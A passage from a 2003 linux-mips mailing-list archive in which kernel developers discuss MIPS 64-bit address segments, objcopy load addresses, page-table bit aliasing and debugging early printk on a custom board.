X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1934
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Mon, 7 Apr 2003, Erik J. Green wrote:

> >  0xa8000000211c4000 is indeed in XKPHYS but the code jumps to 0x211c4018.
> 
> Okay, I want to make sure I understand the addressing correctly for the 64 to 32
> bit jump.  The existing code for the IP27 (seems to load at about
> a800000000000000, which is one of the segments in xkphys, corresponding to
> physical memory starting at address 0.  Head.S then jumps to the 32-bit part of
> the xkphys address, which happens to be arranged so that it matches the correct
> (next instruction) address in kseg0.

 Just see how these virtual addresses map to physical ones.

> I am unable to arrange my addresses similarly neatly, mostly I think due to
> fighting with the toolchain I have.  Is it "legal" for me to load a kernel using
> the xkphys address and then do something like:
> 
> lui    t0,0x8000
> addiu  t0,t0,@next
> jr     t0
> nop
> next:

 You need to do:

lui	t0,%hi(next)
addiu	t0,%lo(next)

or use the "la" macro instead, to get both low halfwords right (the "lui" 
instruction will implicitly set the high word of t0 appropriately by
sign-extending the low word).

> to jump to the next instruction but in kseg0 instead of xkphys?  I believe the

 Obviously you have to make sure that the binary is linked such that 
"next" is within KSEG0.

> jump target should be word aligned in this case because it's the start of an

 It normally is unless you try to play tricks with the assembler.

> instruction.  I'm assuming if I generate a jr to a 32 bit address that the cpu
> will assume I'm jumping to a compatibility segment, am I wrong?

 Internally there is no such thing as a 32-bit address -- all addresses
are 64-bit in 64-bit processors (as that is the width of registers).  It's
simply that using 32-bit operations to calculate addresses limits the
range of results to these that have their top 33 bits set to the same
value.

 There is nothing special about the jump above and the CPU assumes nothing
specific about it.  The target address is just like any other one.  Once
the jump is executed, the following instruction will be fetched using
addressing rules defined for the segment it lies within (or an address
error exception happens if the address happens to be outside defined
segments). So after a jump to 0x00000000211c4018, the rules for XKUSEG
apply. 

 HTH,

  Maciej

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From erik@greendragon.org Mon Apr  7 18:18:07 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 07 Apr 2003 18:18:08 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:53132 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8224827AbTDGRSH>;
	Mon, 7 Apr 2003 18:18:07 +0100
Received: from mehen.visi.com (mehen.visi.com [209.98.98.97])
	by mail-out.visi.com (Postfix) with ESMTP id C9D503717
	for <linux-mips@linux-mips.org>; Mon,  7 Apr 2003 12:18:05 -0500 (CDT)
Received: from mehen.visi.com (localhost [127.0.0.1])
	by mehen.visi.com (8.12.9/8.12.5) with ESMTP id h37HI56D069131
	for <linux-mips@linux-mips.org>; Mon, 7 Apr 2003 12:18:05 -0500 (CDT)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mehen.visi.com (8.12.9/8.12.5/Submit) id h37HI5sY069130
	for linux-mips@linux-mips.org; Mon, 7 Apr 2003 17:18:05 GMT
X-Authentication-Warning: mehen.visi.com: www set sender to erik@greendragon.org using -f
Received: from stpns.guidant.com (stpns.guidant.com [132.189.76.10]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Mon,  7 Apr 2003 17:18:05 +0000
Message-ID: <1049735885.3e91b2cd7366f@my.visi.com>
Date: Mon,  7 Apr 2003 17:18:05 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: Re: 64 to 32 bit jr
References: <Pine.GSO.3.96.1030407174523.24634D-100000@delta.ds2.pg.gda.pl>
In-Reply-To: <Pine.GSO.3.96.1030407174523.24634D-100000@delta.ds2.pg.gda.pl>
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 132.189.76.10
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1935
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips

Quoting "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>:

[deletions]
> > physical memory starting at address 0.  Head.S then jumps to the 32-bit
> part of
> > the xkphys address, which happens to be arranged so that it matches the
> correct
> > (next instruction) address in kseg0.
> 
>  Just see how these virtual addresses map to physical ones.

According to my current understanding, the base of each of 8 segments in xkphys
maps to the start of physical memory, so offset 0 in kseg0 should be the same
data as at offset 0 of the a800...0000 segment in xkphys.  So, if I load code
starting at offset 0 in xkphys, I should be able to jump to the 32-bit part of
the xkphys address and end up at the same offset in kseg0, provided the target
address is sign-extended properly.

The actual difficulty I'm having is that the address my code is loading at is
computed at link time by adding the xkphys base to the LOADADDRESS value using
mips64-linux-objcopy.  I haven't quite worked out the address math yet to  make
the code in xkphys and kseg0 have the same offsets.  Objcopy seems to have some
non-obvious rules for doing address calculations, IE objcopy using
--change-addresses=X

0xa800000000000000 + 0x20004000

gives something close to (not near my MIPS system atm)

0xa7ffffff2001c000

So, I'm thinking constructing the address in a register might be easier for now.

> 
>  HTH,
> 
>   Maciej


It does, thanks.

Erik
-- 
Erik J. Green
erik@greendragon.org

From macro@ds2.pg.gda.pl Mon Apr  7 19:10:27 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 07 Apr 2003 19:10:28 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:27553 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8224827AbTDGSK1>; Mon, 7 Apr 2003 19:10:27 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id UAA28081;
	Mon, 7 Apr 2003 20:10:50 +0200 (MET DST)
Date: Mon, 7 Apr 2003 20:10:49 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: "Erik J. Green" <erik@greendragon.org>
cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: Re: 64 to 32 bit jr
In-Reply-To: <1049735885.3e91b2cd7366f@my.visi.com>
Message-ID: <Pine.GSO.3.96.1030407195354.24634H-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1936
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Mon, 7 Apr 2003, Erik J. Green wrote:

> According to my current understanding, the base of each of 8 segments in xkphys
> maps to the start of physical memory, so offset 0 in kseg0 should be the same
> data as at offset 0 of the a800...0000 segment in xkphys.  So, if I load code
> starting at offset 0 in xkphys, I should be able to jump to the 32-bit part of
> the xkphys address and end up at the same offset in kseg0, provided the target
> address is sign-extended properly.

 As long as your offset into XPHYS fits within the KSEG0 size.

> the code in xkphys and kseg0 have the same offsets.  Objcopy seems to have some
> non-obvious rules for doing address calculations, IE objcopy using
> --change-addresses=X
> 
> 0xa800000000000000 + 0x20004000
> 
> gives something close to (not near my MIPS system atm)
> 
> 0xa7ffffff2001c000

 Hmm, the option seems to work for me as expected.  What version of
objcopy?  What do you use for "X"?  What does `readelf -l' report before
and after copying? 

> So, I'm thinking constructing the address in a register might be easier for now.

 But your kernel really needs to be linked at a KSEG0 address -- if you
are to construct the address manually, the resulting kernel won't work. 

  Maciej

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From kwalker@broadcom.com Mon Apr  7 23:07:38 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 07 Apr 2003 23:07:39 +0100 (BST)
Received: from mms2.broadcom.com ([IPv6:::ffff:63.70.210.59]:18698 "EHLO
	mms2.broadcom.com") by linux-mips.org with ESMTP
	id <S8224827AbTDGWHi>; Mon, 7 Apr 2003 23:07:38 +0100
Received: from 63.70.210.1 by mms2.broadcom.com with ESMTP (Broadcom
 MMS1 SMTP Relay (MMS v5.5.2)); Mon, 07 Apr 2003 15:04:29 -0700
Received: from mail-sj1-5.sj.broadcom.com (mail-sj1-5.sj.broadcom.com
 [10.16.128.236]) by mon-irva-11.broadcom.com (8.9.1/8.9.1) with ESMTP
 id PAA17725; Mon, 7 Apr 2003 15:07:14 -0700 (PDT)
Received: from dt-sj3-158.sj.broadcom.com (dt-sj3-158 [10.21.64.158]) by
 mail-sj1-5.sj.broadcom.com (8.12.4/8.12.4/SSF) with ESMTP id
 h37M7TER017598; Mon, 7 Apr 2003 15:07:29 -0700 (PDT)
Received: from broadcom.com (IDENT:kwalker@localhost [127.0.0.1]) by
 dt-sj3-158.sj.broadcom.com (8.9.3/8.9.3) with ESMTP id PAA02138; Mon, 7
 Apr 2003 15:07:30 -0700
Message-ID: <3E91F6A1.4080AF05@broadcom.com>
Date: Mon, 07 Apr 2003 15:07:29 -0700
From: "Kip Walker" <kwalker@broadcom.com>
Organization: Broadcom Corp. BPBU
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.5-beta4va3.20 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Hartvig Ekner" <hartvig@ekner.info>
cc: "Linux MIPS mailing list" <linux-mips@linux-mips.org>
Subject: Re: Patch to include/asm-mips/processor.h
References: <3E917AA1.13694D03@ekner.info>
X-WSS-ID: 128F2A6763771-01-01
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <kwalker@broadcom.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1937
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kwalker@broadcom.com
Precedence: bulk
X-list: linux-mips

Hartvig Ekner wrote:
> 
> I have no idea whether what I did was correct, but at least it is no less incorrect than the code currently
> in there, which coredumps now for some reason (I wonder why it never crashed before). The test-bit macro
> expects a bit-number, and not a mask which it is given in the current code.
> 
> So while fixing this, I also used the normal cpu_data macro for the cpu_has_watch() macro, instead of
> looking at CPU(0).
> 
> /Hartvig

The second argument to test_bit ought to have been an address, not a
value.  Why didn't this crash before?  I just ran into it too...

Kip


From hartvig@ekner.info Tue Apr  8 07:57:32 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 07:57:35 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:65040 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8224861AbTDHG5c>;
	Tue, 8 Apr 2003 07:57:32 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP id EC793B56A
	for <linux-mips@linux-mips.org>; Tue,  8 Apr 2003 08:57:28 +0200 (CEST)
Message-ID: <3E9274F0.227008F7@ekner.info>
Date: Tue, 08 Apr 2003 09:06:24 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Aliasing in pgtable-bits.h (CONFIG_64BIT_PHYS_ADDR)
Content-Type: multipart/alternative;
 boundary="------------83E8F6EE13791CE1B2EF091D"
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1938
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips


--------------83E8F6EE13791CE1B2EF091D
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

From pgtable-bits.h:

#if defined(CONFIG_CPU_MIPS32) && defined(CONFIG_64BIT_PHYS_ADDR)

#define _PAGE_PRESENT               (1<<6)  /* implemented in software */
#define _PAGE_READ                  (1<<7)  /* implemented in software */
#define _PAGE_WRITE                 (1<<8)  /* implemented in software */
#define _PAGE_ACCESSED              (1<<9)  /* implemented in software */
#define _PAGE_MODIFIED              (1<<10) /* implemented in software */

#define _PAGE_R4KBUG                (1<<0)  /* workaround for r4k bug  */
#define _PAGE_GLOBAL                (1<<0)

Is the aliasing between R4KBUG & GLOBAL intentional? This is the only CONFIG case where it
is done. Superficially, I can't see R4KBUG used anywhere, so maybe it doesn't matter. But
if R4KBUG truly isn't used, why not consider removing it entirely from all PTE layouts?

/Hartvig


--------------83E8F6EE13791CE1B2EF091D
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<tt>From pgtable-bits.h:</tt><tt></tt>
<p><tt>#if defined(CONFIG_CPU_MIPS32) &amp;&amp; defined(CONFIG_64BIT_PHYS_ADDR)</tt>
<br><tt>&nbsp;</tt>
<br><tt>#define _PAGE_PRESENT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(1&lt;&lt;6)&nbsp; /* implemented in software */</tt>
<br><tt>#define _PAGE_READ&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(1&lt;&lt;7)&nbsp; /* implemented in software */</tt>
<br><tt>#define _PAGE_WRITE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(1&lt;&lt;8)&nbsp; /* implemented in software */</tt>
<br><tt>#define _PAGE_ACCESSED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(1&lt;&lt;9)&nbsp; /* implemented in software */</tt>
<br><tt>#define _PAGE_MODIFIED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(1&lt;&lt;10) /* implemented in software */</tt>
<br><tt>&nbsp;</tt>
<br><tt>#define _PAGE_R4KBUG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(1&lt;&lt;0)&nbsp; /* workaround for r4k bug&nbsp; */</tt>
<br><tt>#define _PAGE_GLOBAL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(1&lt;&lt;0)</tt><tt></tt>
<p><tt>Is the aliasing between R4KBUG &amp;&nbsp;GLOBAL&nbsp;intentional?
This is the only CONFIG case where it</tt>
<br><tt>is done. Superficially, I&nbsp;can't see R4KBUG&nbsp;used anywhere,
so maybe it doesn't matter. But</tt>
<br><tt>if R4KBUG&nbsp;truly isn't used, why not consider removing it entirely
from all PTE&nbsp;layouts?</tt><tt></tt>
<p><tt>/Hartvig</tt>
<br><tt></tt>&nbsp;</html>

--------------83E8F6EE13791CE1B2EF091D--


From quintela@mandrakesoft.com Tue Apr  8 11:32:59 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 11:33:00 +0100 (BST)
Received: from cm19173.red.mundo-r.com ([IPv6:::ffff:213.60.19.173]:50024 "EHLO
	trasno.mitica") by linux-mips.org with ESMTP id <S8225072AbTDHKc7>;
	Tue, 8 Apr 2003 11:32:59 +0100
Received: by trasno.mitica (Postfix, from userid 1001)
	id 927D56EE; Tue,  8 Apr 2003 12:32:50 +0200 (CEST)
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Aliasing in pgtable-bits.h (CONFIG_64BIT_PHYS_ADDR)
X-Url: http://people.mandrakesoft.com/~quintela
From: Juan Quintela <quintela@mandrakesoft.com>
In-Reply-To: <3E9274F0.227008F7@ekner.info> (Hartvig Ekner's message of
 "Tue, 08 Apr 2003 09:06:24 +0200")
References: <3E9274F0.227008F7@ekner.info>
Date: Tue, 08 Apr 2003 12:32:50 +0200
Message-ID: <868yul2sa5.fsf@trasno.mitica>
User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2.93
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Return-Path: <quintela@mandrakesoft.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1939
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: quintela@mandrakesoft.com
Precedence: bulk
X-list: linux-mips

>>>>> "hartvig" == Hartvig Ekner <hartvig@ekner.info> writes:

hartvig> From pgtable-bits.h:
hartvig> #if defined(CONFIG_CPU_MIPS32) && defined(CONFIG_64BIT_PHYS_ADDR)

hartvig> #define _PAGE_PRESENT               (1<<6)  /* implemented in software
hartvig> */
hartvig> #define _PAGE_READ                  (1<<7)  /* implemented in software
hartvig> */
hartvig> #define _PAGE_WRITE                 (1<<8)  /* implemented in software
hartvig> */
hartvig> #define _PAGE_ACCESSED              (1<<9)  /* implemented in software
hartvig> */
hartvig> #define _PAGE_MODIFIED              (1<<10) /* implemented in software
hartvig> */

hartvig> #define  _PAGE_R4KBUG                (1<<0)  /* workaround for r4k bug
hartvig> */
hartvig> #define _PAGE_GLOBAL                (1<<0)

hartvig> Is  the aliasing between R4KBUG & GLOBAL intentional? This is the only
hartvig> CONFIG case where it
hartvig> is  done. Superficially, I can't see R4KBUG used anywhere, so maybe it
hartvig> doesn't matter. But
hartvig> if R4KBUG truly isn't used, why not consider removing it entirely from
hartvig> all PTE layouts?

I will bet that this is related to the comment in
arch/mips/mm/tlb-r4k.c workaround that is unimplemented:

/* We will need multiple versions of update_mmu_cache(), one that just
 * updates the TLB with the new pte(s), and another which also checks
 * for the R4k "end of page" hardware bug and does the needy.
 */

Anyways, it appears that affected CPUS are only r4k and r4400 or so,
no big deal for rest of CPU's.

Later, Juan.

-- 
In theory, practice and theory are the same, but in practice they 
are different -- Larry McVoy

From avinash.s@inspiretech.com Tue Apr  8 13:07:41 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 13:07:44 +0100 (BST)
Received: from inspiration-98-179-ban.inspiretech.com ([IPv6:::ffff:203.196.179.98]:50059
	"EHLO smtp.inspirtek.com") by linux-mips.org with ESMTP
	id <S8225072AbTDHMHl>; Tue, 8 Apr 2003 13:07:41 +0100
Received: from mail.inspiretech.com (mail.inspiretech.com [150.1.1.1])
	by smtp.inspirtek.com (8.12.5/8.12.5) with ESMTP id h38CBgf6024962
	for <linux-mips@linux-mips.org>; Tue, 8 Apr 2003 17:41:48 +0530
Message-Id: <200304081211.h38CBgf6024962@smtp.inspirtek.com>
Received: from WorldClient [150.1.1.1] by inspiretech.com [150.1.1.1]
	with SMTP (MDaemon.v3.5.7.R)
	for <linux-mips@linux-mips.org>; Tue, 08 Apr 2003 17:27:24 +0530
Date: Tue, 08 Apr 2003 17:27:23 +0530
From: "Avinash S." <avinash.s@inspiretech.com>
To: "linux" <linux-mips@linux-mips.org>
Subject: printk problems
X-Mailer: WorldClient Standard 3.5.0e
X-MDRemoteIP: 150.1.1.1
X-Return-Path: avinash.s@inspiretech.com
X-MDaemon-Deliver-To: linux-mips@linux-mips.org
Return-Path: <avinash.s@inspiretech.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1940
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: avinash.s@inspiretech.com
Precedence: bulk
X-list: linux-mips

Hello,
I am trying to port linux to a custom built IDT MIPS board. I have 
managed to get the UART working. My bootup code loads and prints some 
debugging messages initially and then actual kernel bootup occurs. 
However it hangs when it reaches the first printk function. i have tried 
to debug this with some difficulty but with no effect. Could some one 
tell me or atleast point me to where i can get some info on how printk 
works or atleast how to debug my printk to see where the actual problem 
lies?

Thanks in advance.


Avinash



From justinca@cs.cmu.edu Tue Apr  8 16:38:29 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 16:38:29 +0100 (BST)
Received: from UX3.SP.CS.CMU.EDU ([IPv6:::ffff:128.2.198.103]:466 "HELO
	ux3.sp.cs.cmu.edu") by linux-mips.org with SMTP id <S8225072AbTDHPi2>;
	Tue, 8 Apr 2003 16:38:28 +0100
Received: from GS256.SP.CS.CMU.EDU ([128.2.199.27]) by ux3.sp.cs.cmu.edu
          id aa04659; 8 Apr 2003 11:37 EDT
Subject: Re: printk problems
From: Justin Carlson <justinca@cs.cmu.edu>
To: "Avinash S." <avinash.s@inspiretech.com>
Cc: linux <linux-mips@linux-mips.org>
In-Reply-To: <200304081211.h38CBgf6024962@smtp.inspirtek.com>
References: <200304081211.h38CBgf6024962@smtp.inspirtek.com>
Content-Type: text/plain
Organization: 
Message-Id: <1049816267.17005.25.camel@gs256.sp.cs.cmu.edu>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.3 
Date: 08 Apr 2003 11:37:48 -0400
Content-Transfer-Encoding: 7bit
Return-Path: <justinca@cs.cmu.edu>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1941
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: justinca@cs.cmu.edu
Precedence: bulk
X-list: linux-mips

On Tue, 2003-04-08 at 07:57, Avinash S. wrote:
> Hello,
> I am trying to port linux to a custom built IDT MIPS board. I have 
> managed to get the UART working. My bootup code loads and prints some 
> debugging messages initially and then actual kernel bootup occurs. 
> However it hangs when it reaches the first printk function. i have tried 
> to debug this with some difficulty but with no effect. Could some one 
> tell me or atleast point me to where i can get some info on how printk 
> works or atleast how to debug my printk to see where the actual problem 
> lies?
> 

Couple quick questions:

1)  I assume you want to do console over serial port.  You have
SERIAL_CONSOLE enabled in your .config, right?

2) Is the UART standard, for which a driver is extant?  If not, you'll
need to write one.  

3) Are you sure it's hanging, or is it just not reporting anything
else?  Do you have other status indicators (i.e. LED's of some sort?)


Here's the 30 second summary of what happens at bootup on a serial
console.  This is mostly from memory a year old or so, so don't take
this as gospel:

Pretty early in the boot sequence (in init/main.c) console_init() is
called (in drivers/char/tty_io.c).  If your serial driver is compiled in
with console support, the serial port is initialized here, and added to
a list of available consoles.  The first(?) extant console is chosen for
console output, where your printk()s will end up.

Until this point, printk() calls are buffered in memory.  If you have
printk()s not showing up, odds are pretty good you're failing to
initialize the serial console in some way.

Hope that helps...

-Justin



From jsun@mvista.com Tue Apr  8 18:07:23 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 18:07:24 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:65008 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225072AbTDHRHX>;
	Tue, 8 Apr 2003 18:07:23 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h38H7KJ07021;
	Tue, 8 Apr 2003 10:07:20 -0700
Date: Tue, 8 Apr 2003 10:07:20 -0700
From: Jun Sun <jsun@mvista.com>
To: "Avinash S." <avinash.s@inspiretech.com>
Cc: linux <linux-mips@linux-mips.org>, jsun@mvista.com
Subject: Re: printk problems
Message-ID: <20030408100720.B6865@mvista.com>
References: <200304081211.h38CBgf6024962@smtp.inspirtek.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200304081211.h38CBgf6024962@smtp.inspirtek.com>; from avinash.s@inspiretech.com on Tue, Apr 08, 2003 at 05:27:23PM +0530
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1942
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips

On Tue, Apr 08, 2003 at 05:27:23PM +0530, Avinash S. wrote:
> Hello,
> I am trying to port linux to a custom built IDT MIPS board. I have 
> managed to get the UART working. My bootup code loads and prints some 
> debugging messages initially and then actual kernel bootup occurs. 
> However it hangs when it reaches the first printk function. i have tried 
> to debug this with some difficulty but with no effect. Could some one 
> tell me or atleast point me to where i can get some info on how printk 
> works or atleast how to debug my printk to see where the actual problem 
> lies?
>

You might want to try the early printk approach.  See

http://linux.junsun.net/porting-howto/

Jun

From earlmips@yahoo.com Tue Apr  8 18:55:20 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 18:55:23 +0100 (BST)
Received: from web20708.mail.yahoo.com ([IPv6:::ffff:216.136.226.181]:21168
	"HELO web20708.mail.yahoo.com") by linux-mips.org with SMTP
	id <S8225072AbTDHRzU>; Tue, 8 Apr 2003 18:55:20 +0100
Message-ID: <20030408175517.66121.qmail@web20708.mail.yahoo.com>
Received: from [206.31.31.3] by web20708.mail.yahoo.com via HTTP; Tue, 08 Apr 2003 10:55:17 PDT
Date: Tue, 8 Apr 2003 10:55:17 -0700 (PDT)
From: Earl Mitchell <earlmips@yahoo.com>
Subject: pci graphics card for malta running linux
To: linux-mips@linux-mips.org
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="0-562203272-1049824517=:65778"
Return-Path: <earlmips@yahoo.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1943
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: earlmips@yahoo.com
Precedence: bulk
X-list: linux-mips

--0-562203272-1049824517=:65778
Content-Type: text/plain; charset=us-ascii


Does anybody have any good reccs for PCI graphcis cards I can use with Malta board running linux? Some linux device drivers assume x86. If you know some PCI cards that work with linux/mips on malta let me know (especially nVidia or ATI cards). Also any PCI sound cards that work too. 

thanks

-earlm



---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - File online, calculators, forms, and more
--0-562203272-1049824517=:65778
Content-Type: text/html; charset=us-ascii

<P>Does anybody have any good reccs for PCI graphcis cards I can use with Malta board running linux? Some linux device drivers assume x86. If you know some PCI cards that work with linux/mips on malta let me know (especially nVidia or ATI cards). Also any PCI sound cards that work too. </P>
<P>thanks</P>
<P>-earlm</P><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/finance/mailsig/*http://tax.yahoo.com">Yahoo! Tax Center</a> - File online, calculators, forms, and more
--0-562203272-1049824517=:65778--

From michael_pruznick@mvista.com Tue Apr  8 19:24:58 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 08 Apr 2003 19:24:59 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:9462 "EHLO
	av.mvista.com") by linux-mips.org with ESMTP id <S8225072AbTDHSY6>;
	Tue, 8 Apr 2003 19:24:58 +0100
Received: from mvista.com (av [127.0.0.1])
	by av.mvista.com (8.9.3/8.9.3) with ESMTP id LAA07801;
	Tue, 8 Apr 2003 11:24:46 -0700
Message-ID: <3E9313ED.53DCC96E@mvista.com>
Date: Tue, 08 Apr 2003 12:24:45 -0600
From: Michael Pruznick <michael_pruznick@mvista.com>
Reply-To: michael_pruznick@mvista.com
